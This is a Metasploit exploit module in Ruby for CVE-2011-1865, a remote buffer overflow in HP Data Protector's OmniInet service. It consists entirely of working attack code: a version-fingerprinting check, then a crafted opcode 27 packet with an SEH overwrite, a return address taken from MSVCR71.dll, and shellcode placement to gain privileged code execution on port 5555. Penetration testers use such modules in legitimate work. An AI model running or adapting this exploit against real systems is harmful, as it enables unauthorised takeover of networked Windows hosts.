HP OmniInet.exe Opcode 27 Buffer Overflow

`##  
# $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP OmniInet.exe Opcode 27 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the Hewlett-Packard  
OmniInet NT Service. By sending a specially crafted opcode 27 packet,  
a remote attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13081 $',  
'References' =>  
[  
[ 'CVE', '2011-1865' ],  
[ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',  
{  
#POP/POP/RET from OmniBack\bin\MSVCR71.dll  
'Ret' => 0x7c35630d  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 29 2011'))  
  
register_options([Opt::RPORT(5555)], self.class)  
end  
  
def check  
  
connect  
sock.put(rand_text_alpha_upper(64))  
resp = sock.get_once(-1,5)  
disconnect  
  
if (resp)  
resp = resp.unpack('v*').pack('C*')  
print_status("Received response: " + resp)  
  
# extract version  
if (resp =~ /HP Data Protector/)  
version = resp.split[3]  
elsif (resp =~ /HP OpenView Storage Data Protector/)  
version = resp.split[5]  
elsif (resp =~ /HP StorageWorks Application Recovery Manager/)  
version = resp.split[5]  
else  
return Exploit::CheckCode::Detected  
end  
  
version = version.split('.')  
major = version[1].to_i  
minor = version[2].to_i  
if ((major < 6) or (major == 6 and minor < 11))  
return Exploit::CheckCode::Vulnerable  
end  
  
if ((major > 6) or (major == 6 and minor >= 11))  
return Exploit::CheckCode::Safe  
end  
  
end  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
  
connect  
  
trigger = rand_text_alpha_upper(10000)  
trigger[4552, payload.encoded.length] = payload.encoded  
trigger[5352, 8] = generate_seh_record(target.ret)   
trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string  
  
opcode = "27"  
  
packet = Rex::Text.to_unicode("\x00")  
packet << "\x27\xca" #length  
packet << "\xff\xfe\x32"  
packet << "\x00\x00\x00"  
packet << Rex::Text.to_unicode("\x20\x61\x00") * 3  
packet << Rex::Text.to_unicode("\x20")  
packet << trigger  
packet << Rex::Text.to_unicode("\x00")  
packet << Rex::Text.to_unicode("\x20\x61\x00")  
packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")  
packet << Rex::Text.to_unicode("\x20\x61\x00") * 24   
  
print_status("Trying #{target.name}...")  
sock.put(packet)  
  
select(nil,nil,nil,10)  
handler  
disconnect  
  
end  
  
end  
`